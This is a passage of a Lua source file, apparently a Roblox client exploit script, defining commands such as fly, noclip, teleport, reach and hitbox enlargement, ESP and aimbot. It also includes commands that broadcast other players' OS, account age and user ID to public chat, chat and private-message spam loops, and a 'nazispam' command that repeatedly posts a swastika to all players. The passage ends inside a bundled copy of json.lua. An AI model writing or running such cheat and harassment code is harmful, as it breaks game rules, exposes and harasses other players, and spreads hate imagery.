6775 if target then
6776 opx("-","Walking to "..target.Name)
6777 walkto = true
6778 repeat wait()
6779 cmdlp.Character.Humanoid:MoveTo(target.Character.HumanoidRootPart.Position)
6780 until walkto == false
6781 else
6782 opx("*","Player does not exist!")
6783 end
6784 else
6785 opx("*","2 arguments are needed for this command!")
6786 end
6787end
6788
6789function useCommand.unwalkto()
6790 opx("-","Stopped walking to")
6791 walkto = false
6792end
6793
6794function useCommand.refresh()
6795 opx("-","Character respawning")
6796 if Noclipping then
6797 Noclipping:Disconnect()
6798 Clip = false
6799 end
6800 refresh()
6801 opx("-","Character respawned")
6802end
6803
6804function useCommand.reset()
6805 opx("-","Resetting character")
6806 cmdlp.Character.Humanoid.Health = 0
6807 opx("-","Character reset")
6808end
6809
6810function useCommand.savepos()
6811 if arguments[2] then
6812 wpNS = getstring(2)
6813 T = cmdlp.Character.Torso
6814 WPs[#WPs+1] = {N = wpNS, C = {math.floor(T.Position.X), math.floor(T.Position.Y), math.floor(T.Position.Z)}}
6815 updatesaves()
6816 opx("-","Saved current position (Use lpos "..tostring(wpNS).." to load)")
6817 else
6818 opx("*","2 arguments are needed for this command!")
6819 end
6820end
6821
6822function useCommand.loadpos()
6823 if arguments[2] then
6824 wpNS = getstring(2)
6825 for i,v in pairs(WPs) do
6826 local xc = WPs[i].C[1]
6827 local yc = WPs[i].C[2]
6828 local zc = WPs[i].C[3]
6829 if tostring(WPs[i].N) == tostring(wpNS) then
6830 cmdlp.Character.HumanoidRootPart.CFrame = CFrame.new(xc,yc,zc)
6831 end
6832 end
6833 opx("Teleported to "..tostring(wpNS))
6834 else
6835 opx("*","2 arguments are needed for this command!")
6836 end
6837end
6838
6839local Platform = false
6840function useCommand.platform()
6841 opx("-","You are now using an invisible platform")
6842 Platform = true
6843 local pc = cmdlp.Character
6844 if pc and not pc:FindFirstChild("pf") then
6845 local pf = Instance.new('Part', pc)
6846 pf.Name = 'pf'
6847 pf.Transparency = 1
6848 pf.Size = Vector3.new(6,1,6)
6849 pf.Anchored = true
6850 pf.CFrame = pc.HumanoidRootPart.CFrame * CFrame.new(0,-3.5,0)
6851 while wait(0.1) do
6852 if pc:FindFirstChild("pf") then
6853 pf.CFrame = pc.HumanoidRootPart.CFrame * CFrame.new(0,-3.5,0)
6854 else
6855 break
6856 end
6857 end
6858 end
6859end
6860
6861function useCommand.unplatform()
6862 Platform = false
6863 local pc = cmdlp.Character
6864 opx("-","You are no longer using an invisible platform")
6865 if pc:FindFirstChild("pf") then
6866 pc.pf:Destroy()
6867 end
6868end
6869
6870local clicktps = false
6871function useCommand.clicktp()
6872 clicktps = true
6873 opx("-","ClickTP enabled aim at the location and press CTRL to tp")
6874 local Imput = game:GetService("UserInputService")
6875 hum = cmdlp.Character.HumanoidRootPart
6876 if hotkeyctp == "LeftControl" then
6877 Imput.InputBegan:Connect(function(input)
6878 if Imput:IsKeyDown(Enum.KeyCode.LeftControl) and clicktps == true then
6879 if cmdm.Target then
6880 hum.CFrame = CFrame.new(cmdm.Hit.x, cmdm.Hit.y + 5, cmdm.Hit.z)
6881 end
6882 end
6883 end)
6884 else
6885 mouse.KeyDown:connect(function(key)
6886 if key == hotkeyctp and clicktps == true then
6887 if cmdm.Target then
6888 hum.CFrame = CFrame.new(cmdm.Hit.x, cmdm.Hit.y + 5, cmdm.Hit.z)
6889 end
6890 end
6891 end)
6892 end
6893end
6894
6895local infiniteJump = false
6896function useCommand.infjump()
6897 opx("-","Infinite jump enabled")
6898 infiniteJump = true
6899 game:GetService("UserInputService").JumpRequest:Connect(function()
6900 if infiniteJump == true then
6901 cmdlp.Character.Humanoid:ChangeState("Jumping")
6902 end
6903 end)
6904end
6905
6906function useCommand.uninfjump()
6907 opx("-","Infinite jump disabled")
6908 infiniteJump = false
6909end
6910
6911function useCommand.fly()
6912 FLYING = false
6913 cmdlp.Character.Humanoid.PlatformStand = false
6914 wait()
6915 opx("-","You are now flying")
6916 sFLY()
6917 speedofthefly = permflyspeed
6918end
6919
6920function useCommand.vehiclefly()
6921 FLYING = false
6922 cmdlp.Character.Humanoid.PlatformStand = false
6923 wait()
6924 opx("-","You are now flying")
6925 sFLY(true)
6926 speedofthevfly = permflyspeed
6927end
6928
6929function useCommand.unfly()
6930 opx("-","You are no longer flying")
6931 FLYING = false
6932 cmdlp.Character.Humanoid.PlatformStand = false
6933end
6934
6935function useCommand.flyspeed()
6936 if arguments[2] then
6937 speedofthefly = arguments[2]
6938 speedofthevfly = arguments[2]
6939 opx("-","Fly speed was changed to "..arguments[2])
6940 else
6941 opx("*","A number is required")
6942 end
6943end
6944
6945function useCommand.rejoin()
6946 opx("-","Rejoining game")
6947 game:GetService('TeleportService'):Teleport(game.PlaceId)
6948end
6949
6950function useCommand.game()
6951 if arguments[2] then
6952 game:GetService('TeleportService'):Teleport(arguments[2])
6953 opx("-","Teleporting to game "..arguments[2])
6954 else
6955 opx("*","A server ID is needed")
6956 end
6957end
6958
6959function useCommand.reach()
6960 if arguments[2] and cmdnum(arguments[2]) then
6961 for i,v in pairs(cmdlp.Character:GetDescendants()) do
6962 if v:IsA("Tool") then
6963 currentToolSize = v.Handle.Size
6964 local a = Instance.new("SelectionBox",v.Handle)
6965 a.Name = "SelectionBoxCreated"
6966 a.Adornee = v.Handle
6967 a.Color3 = Color3.new(255, 255, 255)
6968 a.LineThickness = 0.01
6969 v.Handle.Massless = true
6970 v.Handle.Size = Vector3.new(0.5,0.5,arguments[2])
6971 v.GripPos = Vector3.new(0,0,0)
6972 v.Parent = cmdlp.Backpack
6973 v.Parent = cmdlp.Character
6974 end
6975 end
6976 opx("-","Reach set to "..arguments[2])
6977 else
6978 opx("*","2 arguments are needed for this command!")
6979 end
6980end
6981
6982function useCommand.boxreach()
6983 if arguments[2] and cmdnum(arguments[2]) then
6984 for i,v in pairs(cmdlp.Character:GetDescendants()) do
6985 if v:IsA("Tool") then
6986 currentToolSize = v.Handle.Size
6987 local a = Instance.new("SelectionBox",v.Handle)
6988 a.Name = "SelectionBoxCreated"
6989 a.Adornee = v.Handle
6990 a.Color3 = Color3.new(255, 255, 255)
6991 a.LineThickness = 0.01
6992 v.Handle.Massless = true
6993 v.Handle.Size = Vector3.new(arguments[2], arguments[2], arguments[2])
6994 v.GripPos = Vector3.new(0,0,0)
6995 v.Parent = cmdlp.Backpack
6996 v.Parent = cmdlp.Character
6997 end
6998 end
6999 opx("-","Box Reach set to "..arguments[2])
7000 else
7001 opx("*","2 arguments are needed for this command!")
7002 end
7003end
7004
7005function useCommand.unreach()
7006 for i,v in pairs(cmdlp.Character:GetDescendants()) do
7007 if v:IsA("Tool") then
7008 v.Handle.Size = Vector3.new(1,0.8,4)
7009 v.Parent = cmdlp.Backpack
7010 v.Parent = cmdlp.Character
7011 end
7012 end
7013 opx("-","Reach value cleared (1,0.8,4)")
7014end
7015
7016function useCommand.noclip()
7017 opx("-","Noclip enabled")
7018 noclip()
7019end
7020
7021function useCommand.light()
7022 if arguments[2] then
7023 opx("-","Light/Brightness has been set to "..arguments[2])
7024 local bright = Instance.new("PointLight", cmdlp.Character.Torso)
7025 bright.Range = 35
7026 bright.Brightness = arguments[2]
7027 else
7028 opx("*","Light/Brightness is missing a number")
7029 end
7030end
7031
7032function useCommand.unlight()
7033 for i,v in pairs(cmdlp.Character.Torso:GetChildren()) do
7034 if v:IsA('PointLight') then
7035 v:Destroy()
7036 opx("-","Removed light/brightness from character")
7037 end
7038 end
7039 opx("-","Removed light/brightness from character")
7040end
7041
7042local ESPenabled = false
7043function useCommand.esp()
7044 opx("-","ESP Enabled")
7045 ESPenabled = true
7046 for i,v in pairs(cmdp:GetChildren()) do
7047 if v.ClassName == "Player" and v.Name ~= cmdp.LocalPlayer.Name then
7048 ESP(v)
7049 end
7050 end
7051end
7052
7053function useCommand.unesp()
7054 opx("-","ESP Disabled")
7055 ESPenabled = false
7056 for i,v in pairs(cmdp:GetChildren()) do
7057 local espplr = v
7058 for i,c in pairs(cmdlp.PlayerGui:GetChildren()) do
7059 if c.Name == espplr.Name..'_ESP' then
7060 c:Destroy()
7061 end
7062 end
7063 end
7064 for i,v in pairs(game.Players:GetPlayers()) do
7065 local poop = v
7066 local player = v.Name
7067 for i,m in pairs(v.Character:GetChildren()) do
7068 if m:IsA("Part") or m:IsA("MeshPart") then
7069 if m.Name ~= "HumanoidRootPart" and m.Name ~= "Handle" or m:IsA("Part") then
7070 m.Material = "Plastic"
7071 end
7072 elseif m:IsA("Accessory") then
7073 m.Handle.Material = "Plastic"
7074 end
7075 end
7076 end
7077end
7078
7079function useCommand.aimbot()
7080 Enabledaimbot = true
7081 opx("-","Aimbot enabled!")
7082 BodyAimbot()
7083end
7084
7085function useCommand.unaimbot()
7086 Enabledaimbot = false
7087 opx("-","Aimbot disabled!")
7088 BodyAimbot()
7089end
7090
7091function useCommand.whitelistfriends()
7092 opx("-","Every friend of yours was added to the whitelist")
7093 autofriendwl(true)
7094end
7095
7096function useCommand.unwhitelistfriends()
7097 opx("-","Every friend of yours was removed from the whitelist")
7098 autofriendwl(false)
7099end
7100
7101function useCommand.whitelist()
7102 Wl(findplr(arguments[2]),true)
7103 opx("-","Added "..findplr(arguments[2]).Name.." to the whitelist")
7104end
7105
7106function useCommand.unwhitelist()
7107 Wl(findplr(arguments[2]),false)
7108 opx("-","Removed "..findplr(arguments[2]).Name.." from the whitelist")
7109end
7110
7111function useCommand.showwhitelist()
7112 opx("-","Press F9 to see players list")
7113 print("Players whitelisted:")
7114 if PlayersWLsystem ~= nil then
7115 for i,a in pairs(PlayersWLsystem) do
7116 if a == true then
7117 print("-"..i)
7118 end
7119 end
7120 elseif PlayersWLsystem == nil then
7121 opx("*","Whitelist people to see the whitelist!")
7122 end
7123end
7124
7125function useCommand.spectate()
7126 if arguments[2] then
7127 target = findplr(arguments[2])
7128 if target then
7129 opx("-",target.Name.." is now being viewed")
7130 workspace.CurrentCamera.CameraSubject = target.Character
7131 else
7132 opx("*","Player does not exist!")
7133 end
7134 else
7135 opx("*","2 arguments are needed for this command!")
7136 end
7137end
7138
7139function useCommand.unspectate()
7140 opx("-","You are back to viewing your character")
7141 workspace.CurrentCamera.CameraSubject = cmdlp.Character
7142end
7143
7144function osCheck()
7145 if text2 == true then
7146 if target.OsPlatform == "Durango" then
7147 target.OsPlatform = "XBox"
7148 elseif target.OsPlatform == "Win32" then
7149 target.OsPlatform = "Windows"
7150 elseif target.OsPlatform == "OSX" then
7151 target.OsPlatform = "Mac"
7152 elseif target.OsPlatform == "iOS" then
7153 target.OsPlatform = "Apple"
7154 end
7155 elseif text1 == true then
7156 if target.OsPlatform == "XBox" then
7157 target.OsPlatform = "Durango"
7158 elseif target.OsPlatform == "Windows" then
7159 target.OsPlatform = "Win32"
7160 elseif target.OsPlatform == "Mac" then
7161 target.OsPlatform = "OSX"
7162 elseif target.OsPlatform == "Apple" then
7163 target.OsPlatform = "iOS"
7164 end
7165 end
7166end
7167
7168function useCommand.osprivate()
7169 if arguments[2] then
7170 target = findplr(arguments[2])
7171 if target then
7172 osCheck()
7173 opx("-",target.Name.."s OS is "..target.OsPlatform)
7174 else
7175 opx("*","Player does not exist!")
7176 end
7177 else
7178 opx("*","2 arguments are needed for this command!")
7179 end
7180end
7181
7182function useCommand.ospublic()
7183 if arguments[2] then
7184 target = findplr(arguments[2])
7185 if target then
7186 osCheck()
7187 opx("-",target.Name.."s OS is "..target.OsPlatform)
7188 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(target.Name.."s OS is "..target.OsPlatform, "All")
7189 else
7190 opx("*","Player does not exist!")
7191 end
7192 else
7193 opx("*","2 arguments are needed for this command!")
7194 end
7195end
7196
7197function useCommand.ageprivate()
7198 if arguments[2] then
7199 target = findplr(arguments[2])
7200 if target then
7201 local Years = string.split(target.AccountAge/365,".")
7202 opx("-",target.Name.."(s) account is "..Years[1].." year(s) old or "..target.AccountAge.." day(s) old")
7203 else
7204 opx("*","Player does not exist!")
7205 end
7206 else
7207 opx("*","2 arguments are needed for this command!")
7208 end
7209end
7210
7211function useCommand.agepublic()
7212 if arguments[2] then
7213 target = findplr(arguments[2])
7214 if target then
7215 local Years = string.split(target.AccountAge/365,".")
7216 opx("-",target.Name.."(s) account is "..Years[1].." year(s) old or "..target.AccountAge.." day(s) old")
7217 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(target.Name.."(s) account is "..Years[1].." year(s) old or "..target.AccountAge.." day(s) old", "All")
7218 else
7219 opx("*","Player does not exist!")
7220 end
7221 else
7222 opx("*","2 arguments are needed for this command!")
7223 end
7224end
7225
7226function useCommand.idprivate()
7227 if arguments[2] then
7228 target = findplr(arguments[2])
7229 if target then
7230 opx("-",target.Name.."s User ID is "..target.UserId)
7231 else
7232 opx("*","Player does not exist!")
7233 end
7234 else
7235 opx("*","2 arguments are needed for this command!")
7236 end
7237end
7238
7239function useCommand.idpublic()
7240 if arguments[2] then
7241 target = findplr(arguments[2])
7242 if target then
7243 opx("-",target.Name.."s User ID is "..target.UserId)
7244 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(target.Name.."s User ID is "..target.UserId, "All")
7245 else
7246 opx("*","Player does not exist!")
7247 end
7248 else
7249 opx("*","2 arguments are needed for this command!")
7250 end
7251end
7252
7253function useCommand.vrprivate()
7254 if arguments[2] then
7255 target = findplr(arguments[2])
7256 if target then
7257 if target.VRDevice == "" then
7258 opx("-",target.Name.." does not have a VR Device")
7259 else
7260 opx("-",target.Name.." is using a VR Device named "..target.VRDevice)
7261 end
7262 else
7263 opx("*","Player does not exist!")
7264 end
7265 else
7266 opx("*","2 arguments are needed for this command!")
7267 end
7268end
7269
7270function useCommand.vrpublic()
7271 if arguments[2] then
7272 target = findplr(arguments[2])
7273 if target then
7274 if target.VRDevice == "" then
7275 opx("-",target.Name.." does not have a VR Device")
7276 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(target.Name.." does not have a VR Device", "All")
7277 else
7278 opx("-",target.Name.." is using a VR Device named "..target.VRDevice)
7279 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(target.Name.." is using a VR Device named "..target.VRDevice, "All")
7280 end
7281 else
7282 opx("*","Player does not exist!")
7283 end
7284 else
7285 opx("*","2 arguments are needed for this command!")
7286 end
7287end
7288
7289function useCommand.profileinfo()
7290 if arguments[2] then
7291 target = findplr(arguments[2])
7292 if target then
7293 osCheck()
7294 opx("-","Profile of "..target.Name.." has been loaded")
7295 avatarframe.Visible = true
7296 avatarframe:TweenSize(UDim2.new(0,300,0,433), Enum.EasingDirection.In, Enum.EasingStyle.Quad, .5)
7297 avatarimage.Image = game.Players:GetUserThumbnailAsync(target.UserId, Enum.ThumbnailType.AvatarThumbnail, Enum.ThumbnailSize.Size420x420)
7298 profileview.Text = target.Name.."s profile:"
7299 accountage.Text = "Account age: "..target.AccountAge.." days old"
7300 userid.Text = "User ID: "..target.UserId
7301 operatingsystem.Text = "This user is using a "..target.OsPlatform.." device"
7302 if target.VRDevice == "" then
7303 vrheadset.Text = "User does not have a VR device"
7304 else
7305 vrheadset.Text = "This user is using a "..target.VRDevice
7306 end
7307 hs.MouseButton1Down:connect(function()
7308 avatarimage.Image = game.Players:GetUserThumbnailAsync(target.UserId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size420x420)
7309 end)
7310 at.MouseButton1Down:connect(function()
7311 avatarimage.Image = game.Players:GetUserThumbnailAsync(target.UserId, Enum.ThumbnailType.AvatarThumbnail, Enum.ThumbnailSize.Size420x420)
7312 end)
7313 ab.MouseButton1Down:connect(function()
7314 avatarimage.Image = game.Players:GetUserThumbnailAsync(target.UserId, Enum.ThumbnailType.AvatarBust, Enum.ThumbnailSize.Size420x420)
7315 end)
7316 else
7317 opx("*","Player does not exist!")
7318 end
7319 else
7320 opx("*","2 arguments are needed for this command!")
7321 end
7322end
7323
7324function useCommand.closeprofileinfo()
7325 avatarframe.Visible = false
7326 opx("-","Avatar frame closed")
7327end
7328
7329local hitler = false
7330function useCommand.nazispam()
7331 opx("-","Heil hitler?")
7332 hitler = true
7333 while hitler == true do
7334 game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸÂ®ðŸÂ®ðŸÂ®ðŸâ€Â²ðŸÂ®ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²", "All")
7335 game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸÂ®ðŸâ€Â²ðŸÂ®ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²", "All")
7336 game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸÂ®ðŸÂ®ðŸÂ®ðŸÂ®ðŸÂ®ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²", "All")
7337 game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸÂ®ðŸâ€Â²ðŸÂ®ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²", "All")
7338 game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸÂ®ðŸâ€Â²ðŸÂ®ðŸÂ®ðŸÂ®ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²ðŸâ€Â²", "All")
7339 wait(15)
7340 end
7341end
7342
7343function useCommand.unnazispam()
7344 opx("-","Nazi spam disabled")
7345 hitler = false
7346end
7347
7348function useCommand.permspamspeed()
7349 if cmdnum(arguments[2]) then
7350 opx("-","Perm spam speed updated to "..arguments[2])
7351 permspamspeed = arguments[2]
7352 updatesaves()
7353 else
7354 opx("*","2 arguments are required for this command")
7355 end
7356end
7357
7358function useCommand.clicktphotkey()
7359 if arguments[2] then
7360 hotkeyctp = arguments[2]
7361 updatesaves()
7362 opx("Hotkey set to "..arguments[2])
7363 else
7364 opx("A key is required")
7365 end
7366end
7367
7368local spammies = false
7369function useCommand.spam()
7370 speedofthespam = permspamspeed
7371 spammies = true
7372 local spamstring = getstring(2)
7373 if arguments[2] then
7374 opx("-","You are now spamming "..spamstring)
7375 repeat wait(speedofthespam)
7376 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(spamstring, "All")
7377 until spammies == false
7378 else
7379 opx("*","Spam is missing text")
7380 end
7381end
7382
7383function useCommand.unspam()
7384 opx("-","Stopped spamming")
7385 spammies = false
7386end
7387
7388function useCommand.timepos()
7389 if cmdnum(arguments[2]) then
7390 local Boombox = workspace[cmdlp.Name]:FindFirstChildOfClass("Tool")
7391 for i,v in pairs(Boombox:GetDescendants()) do
7392 if v:IsA("Sound") then
7393 Sound = v
7394 break
7395 end
7396 end
7397 Sound.TimePosition = arguments[2]
7398 opx("-","Set time position to "..arguments[2])
7399 else
7400 opx("*","2 arguments are required!")
7401 end
7402end
7403
7404forcePlay = false
7405function useCommand.forceplay()
7406 opx("-","Force play enabled")
7407 forcePlay = true
7408 local Boombox = workspace[cmdlp.Name]:FindFirstChildOfClass("Tool")
7409 for i,v in pairs(Boombox:GetDescendants()) do
7410 if v:IsA("Sound") then
7411 Sound = v
7412 break
7413 end
7414 end
7415 soundrerun = game:GetService("RunService").RenderStepped:Connect(function()
7416 Sound.Playing = true
7417 end)
7418end
7419
7420function useCommand.unforceplay()
7421 opx("-","Force play disabled")
7422 forcePlay = false
7423 soundrerun:Disconnect()
7424end
7425
7426local pmspammies = false
7427function useCommand.pmspam()
7428 if arguments[2] then
7429 target = findplr(arguments[2])
7430 if target then
7431 speedofthespam = permspamspeed
7432 pmspammies = true
7433 local spamstring = getstring(3)
7434 opx("-","You are now spamming "..target.Name.." with "..spamstring)
7435 repeat wait(speedofthespam)
7436 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("/w "..target.Name.." "..spamstring, "All")
7437 until pmspammies == false
7438 else
7439 opx("*","Player does not exist!")
7440 end
7441 else
7442 opx("*","2 arguments are needed for this command!")
7443 end
7444end
7445
7446function useCommand.unpmspam()
7447 opx("-","Stopped PM spamming")
7448 pmspammies = false
7449end
7450
7451function useCommand.spamspeed()
7452 if cmdnum(arguments[2]) then
7453 speedofthespam = arguments[2]
7454 opx("-","Spam speed was set to "..arguments[2])
7455 else
7456 opx("*","Spamspeed is missing a number")
7457 end
7458end
7459
7460function useCommand.dicepublic()
7461 opx("-","The dice was rolled")
7462 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("The dice rolled by "..game.Players.LocalPlayer.Name.." rolled a ".. tostring(math.random(1, 6)), "All")
7463end
7464
7465function jsonlua()
7466 --
7467 -- json.lua
7468 --
7469 -- Copyright (c) 2019 rxi
7470 --
7471 -- Permission is hereby granted, free of charge, to any person obtaining a copy of
7472 -- this software and associated documentation files (the "Software"), to deal in
7473 -- the Software without restriction, including without limitation the rights to
7474 -- use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
7475 -- of the Software, and to permit persons to whom the Software is furnished to do
7476 -- so, subject to the following conditions:
7477 --
7478 -- The above copyright notice and this permission notice shall be included in all
7479 -- copies or substantial portions of the Software.
7480 --
7481 -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
7482 -- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
7483 -- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
7484 -- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
7485 -- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
7486 -- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
7487 -- SOFTWARE.
7488 --
7489
7490 local json = { _version = "0.1.2" }
7491
7492 -------------------------------------------------------------------------------
7493 -- Encode
7494 -------------------------------------------------------------------------------
7495
7496 local encode
7497
7498 local escape_char_map = {
7499 [ "\\" ] = "\\\\",
7500 [ "\"" ] = "\\\"",
7501 [ "\b" ] = "\\b",
7502 [ "\f" ] = "\\f",
7503 [ "\n" ] = "\\n",
7504 [ "\r" ] = "\\r",
7505 [ "\t" ] = "\\t",
7506 }
7507
7508 local escape_char_map_inv = { [ "\\/" ] = "/" }
7509 for k, v in pairs(escape_char_map) do
7510 escape_char_map_inv[v] = k
7511 end
7512
7513
7514 local function escape_char(c)
7515 return escape_char_map[c] or string.format("\\u%04x", c:byte())
7516 end
7517
7518
7519 local function encode_nil(val)
7520 return "null"
7521 end
7522 local function encode_table(val, stack)
7523 local res = {}
7524 stack = stack or {}
7525
7526 -- Circular reference?
7527 if stack[val] then error("circular reference") end
7528
7529 stack[val] = true
7530
7531 if rawget(val, 1) ~= nil or next(val) == nil then
7532 -- Treat as array -- check keys are valid and it is not sparse
7533 local n = 0
7534 for k in pairs(val) do
7535 if type(k) ~= "number" then
7536 error("invalid table: mixed or invalid key types")
7537 end
7538 n = n + 1
7539 end
7540 if n ~= #val then
7541 error("invalid table: sparse array")
7542 end
7543 -- Encode
7544 for i, v in ipairs(val) do
7545 table.insert(res, encode(v, stack))
7546 end
7547 stack[val] = nil
7548 return "[" .. table.concat(res, ",") .. "]"
7549
7550 else
7551 -- Treat as an object
7552 for k, v in pairs(val) do
7553 if type(k) ~= "string" then
7554 error("invalid table: mixed or invalid key types")
7555 end
7556 table.insert(res, encode(k, stack) .. ":" .. encode(v, stack))
7557 end
7558 stack[val] = nil
7559 return "{" .. table.concat(res, ",") .. "}"
7560 end
7561 end
7562 local function encode_string(val)
7563 return '"' .. val:gsub('[%z\1-\31\\"]', escape_char) .. '"'
7564 end
7565 local function encode_number(val)
7566 -- Check for NaN, -inf and inf
7567 if val ~= val or val <= -math.huge or val >= math.huge then
7568 error("unexpected number value '" .. tostring(val) .. "'")
7569 end
7570 return string.format("%.14g", val)
7571 end
7572 local type_func_map = {
7573 [ "nil" ] = encode_nil,
7574 [ "table" ] = encode_table,
7575 [ "string" ] = encode_string,
7576 [ "number" ] = encode_number,
7577 [ "boolean" ] = tostring,
7578 }
7579 encode = function(val, stack)
7580 local t = type(val)
7581 local f = type_func_map[t]
7582 if f then
7583 return f(val, stack)
7584 end
7585 error("unexpected type '" .. t .. "'")
7586 end
7587 function json.encode(val)
7588 return ( encode(val) )
7589 end
7590 -------------------------------------------------------------------------------
7591 -- Decode
7592 -------------------------------------------------------------------------------
7593 local parse
7594 local function create_set(...)
7595 local res = {}
7596 for i = 1, select("#", ...) do
7597 res[ select(i, ...) ] = true
7598 end
7599 return res
7600 end
7601 local space_chars = create_set(" ", "\t", "\r", "\n")
7602 local delim_chars = create_set(" ", "\t", "\r", "\n", "]", "}", ",")
7603 local escape_chars = create_set("\\", "/", '"', "b", "f", "n", "r", "t", "u")
7604 local literals = create_set("true", "false", "null")
7605 local literal_map = {
7606 [ "true" ] = true,
7607 [ "false" ] = false,
7608 [ "null" ] = nil,
7609 }
7610 local function next_char(str, idx, set, negate)
7611 for i = idx, #str do
7612 if set[str:sub(i, i)] ~= negate then
7613 return i
7614 end
7615 end
7616 return #str + 1
7617 end
7618 local function decode_error(str, idx, msg)
7619 local line_count = 1
7620 local col_count = 1
7621 for i = 1, idx - 1 do
7622 col_count = col_count + 1
7623 if str:sub(i, i) == "\n" then
7624 line_count = line_count + 1
7625 col_count = 1
7626 end
7627 end
7628 error( string.format("%s at line %d col %d", msg, line_count, col_count) )
7629 end
7630 local function codepoint_to_utf8(n)
7631 -- http://scripts.sil.org/cms/scripts/page.php?site_id=nrsi&id=iws-appendixa
7632 local f = math.floor
7633 if n <= 0x7f then
7634 return string.char(n)
7635 elseif n <= 0x7ff then
7636 return string.char(f(n / 64) + 192, n % 64 + 128)
7637 elseif n <= 0xffff then
7638 return string.char(f(n / 4096) + 224, f(n % 4096 / 64) + 128, n % 64 + 128)
7639 elseif n <= 0x10ffff then
7640 return string.char(f(n / 262144) + 240, f(n % 262144 / 4096) + 128,
7641 f(n % 4096 / 64) + 128, n % 64 + 128)
7642 end
7643 error( string.format("invalid unicode codepoint '%x'", n) )
7644 end
7645 local function parse_unicode_escape(s)
7646 local n1 = tonumber( s:sub(3, 6), 16 )
7647 local n2 = tonumber( s:sub(9, 12), 16 )
7648 -- Surrogate pair?
7649 if n2 then
7650 return codepoint_to_utf8((n1 - 0xd800) * 0x400 + (n2 - 0xdc00) + 0x10000)
7651 else
7652 return codepoint_to_utf8(n1)
7653 end
7654 end
7655 local function parse_string(str, i)
7656 local has_unicode_escape = false
7657 local has_surrogate_escape = false
7658 local has_escape = false
7659 local last
7660 for j = i + 1, #str do
7661 local x = str:byte(j)
7662
7663 if x < 32 then
7664 decode_error(str, j, "control character in string")
7665 end
7666
7667 if last == 92 then -- "\\" (escape char)
7668 if x == 117 then -- "u" (unicode escape sequence)
7669 local hex = str:sub(j + 1, j + 5)
7670 if not hex:find("%x%x%x%x") then
7671 decode_error(str, j, "invalid unicode escape in string")
7672 end
7673 if hex:find("^[dD][89aAbB]") then
7674 has_surrogate_escape = true
7675 else
7676 has_unicode_escape = true
7677 end
7678 else
7679 local c = string.char(x)
7680 if not escape_chars[c] then
7681 decode_error(str, j, "invalid escape char '" .. c .. "' in string")
7682 end
7683 has_escape = true
7684 end
7685 last = nil
7686
7687 elseif x == 34 then -- '"' (end of string)
7688 local s = str:sub(i + 1, j - 1)
7689 if has_surrogate_escape then
7690 s = s:gsub("\\u[dD][89aAbB]..\\u....", parse_unicode_escape)
7691 end
7692 if has_unicode_escape then
7693 s = s:gsub("\\u....", parse_unicode_escape)
7694 end
7695 if has_escape then
7696 s = s:gsub("\\.", escape_char_map_inv)
7697 end
7698 return s, j + 1
7699
7700 else
7701 last = x
7702 end
7703 end
7704 decode_error(str, i, "expected closing quote for string")
7705 end
7706 local function parse_number(str, i)
7707 local x = next_char(str, i, delim_chars)
7708 local s = str:sub(i, x - 1)
7709 local n = tonumber(s)
7710 if not n then
7711 decode_error(str, i, "invalid number '" .. s .. "'")
7712 end
7713 return n, x
7714 end
7715 local function parse_literal(str, i)
7716 local x = next_char(str, i, delim_chars)
7717 local word = str:sub(i, x - 1)
7718 if not literals[word] then
7719 decode_error(str, i, "invalid literal '" .. word .. "'")
7720 end
7721 return literal_map[word], x
7722 end
7723 local function parse_array(str, i)
7724 local res = {}
7725 local n = 1
7726 i = i + 1
7727 while 1 do
7728 local x
7729 i = next_char(str, i, space_chars, true)
7730 -- Empty / end of array?
7731 if str:sub(i, i) == "]" then
7732 i = i + 1
7733 break
7734 end
7735 -- Read token
7736 x, i = parse(str, i)
7737 res[n] = x
7738 n = n + 1
7739 -- Next token
7740 i = next_char(str, i, space_chars, true)
7741 local chr = str:sub(i, i)
7742 i = i + 1
7743 if chr == "]" then break end
7744 if chr ~= "," then decode_error(str, i, "expected ']' or ','") end
7745 end
